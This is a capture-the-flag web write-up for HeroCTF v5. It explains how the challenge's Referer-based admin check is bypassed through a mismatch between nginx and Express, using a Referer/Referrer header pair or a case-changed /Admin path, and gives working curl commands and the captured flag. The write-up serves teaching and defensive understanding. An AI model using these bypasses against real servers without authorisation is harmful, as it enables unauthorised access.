Featured image of post Referer-based auth bypass via an Nginx/Express misconfig - HeroCTF v5

Referer-based auth bypass via an Nginx/Express misconfig - HeroCTF v5

Bypassing Referer-based authentication through an Nginx and Express misconfiguration. HeroCTF v5 web write-up.

Introduction

Bypass the security of a website that implements Referer-based authentication.

Solution

The sources have two folders: app and nginx.

nginx/nginx.conf holds the server config:

worker_processes auto;

events {
    worker_connections 128;
}

http {
    charset utf-8;

    access_log /dev/stdout;
    error_log /dev/stdout;

    upstream express_app {
        server app:3000;
    }

    server {
        listen 80;
        server_name example.com;

        location / {
            proxy_pass http://express_app;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }

        location /admin {
            if ($http_referer !~* "^https://admin\.internal\.com") {
                return 403;
            }

            proxy_pass http://express_app;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
}

The /admin location only lets the request through if the Referer header starts with https://admin.internal.com, otherwise it’s a 403.

On the app side, index.js holds the server code:

const express = require("express")
const app = express()


app.get("/", (req, res) => {
    res.send("Hello World!");
})

app.get("/admin", (req, res) => {
    if (req.header("referer") === "YOU_SHOUD_NOT_PASS!") {
        return res.send(process.env.FLAG);
    }

    res.send("Wrong header!");
})

app.listen(3000, () => {
    console.log("App listening on port 3000");
})

Those two files are all we need. The goal is to reach /admin and read the flag, which means clearing two checks at once:

  • nginx: $http_referer must start with https://admin.internal.com
  • express: req.header("referer") must equal YOU_SHOUD_NOT_PASS!

At first glance these contradict each other, one Referer header can’t be both values. But the MDN page on Referer has the key detail: “referer” is a misspelling of “referrer”, baked into the HTTP spec with a single “r”.

Referer Header Documentation

nginx’s $http_referer only ever reads the (misspelled) Referer header.

Express’s req.header("referer"), though, is special. The Express v4.x docs for req.get(...) note it returns the value of the Referer or Referrer header, checking both spellings.

Explication Referer header

Documentation of req.get(…) in Express v4.x

That’s the whole bug. We send two different headers: Referer: https://admin.internal.com to satisfy nginx, and Referrer: YOU_SHOUD_NOT_PASS! (double “r”) that Express picks up instead.

curl 'http://static-01.heroctf.fr:7000/admin' -H 'Referer: https://admin.internal.com/' -H 'Referrer: YOU_SHOUD_NOT_PASS!'
Hero{ba7b97ae00a760b44cc8c761e6d4535b}

Flag: Hero{ba7b97ae00a760b44cc8c761e6d4535b}

Alternative Solution

There’s a second way in, using a case-sensitivity mismatch: nginx location matching is case-sensitive, Express routing isn’t.

Requesting /Admin skips the nginx $http_referer check entirely (its location is /admin), but Express still routes /Admin to the same handler and runs its req.header("referer") check.

So all we need is Referer: YOU_SHOUD_NOT_PASS! on /Admin:

curl -i -H 'Referer: YOU_SHOUD_NOT_PASS!' http://static-01.heroctf.fr:7000/Admin

HTTP/1.1 200 OK
Server: nginx/1.24.0
Date: Sun, 14 May 2023 13:23:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 38
Connection: keep-alive
X-Powered-By: Express
ETag: W/"26-Cj1P1GdO8Vke/DfJFC3B2cH95nw"

Hero{ba7b97ae00a760b44cc8c761e6d4535b}

Tips & Tricks

  • The header Referer is a misspelling of Referrer (source).
  • $http_referer is an nginx variable that contains the value of the Referer header sent by the browser.
  • In Express v4.x, calling the function req.get("referer") returns the value of the Referer or Referrer header sent by the browser.
  • Route names exposed with Express v4.x are case-insensitive; /Admin and /admin are equivalent (source).
    • CaseSensitive: Disabled by default, treating "/Foo" and "/foo" as the same.
  • Route names in the nginx location configuration are case-sensitive; /Admin and /admin are not equivalent.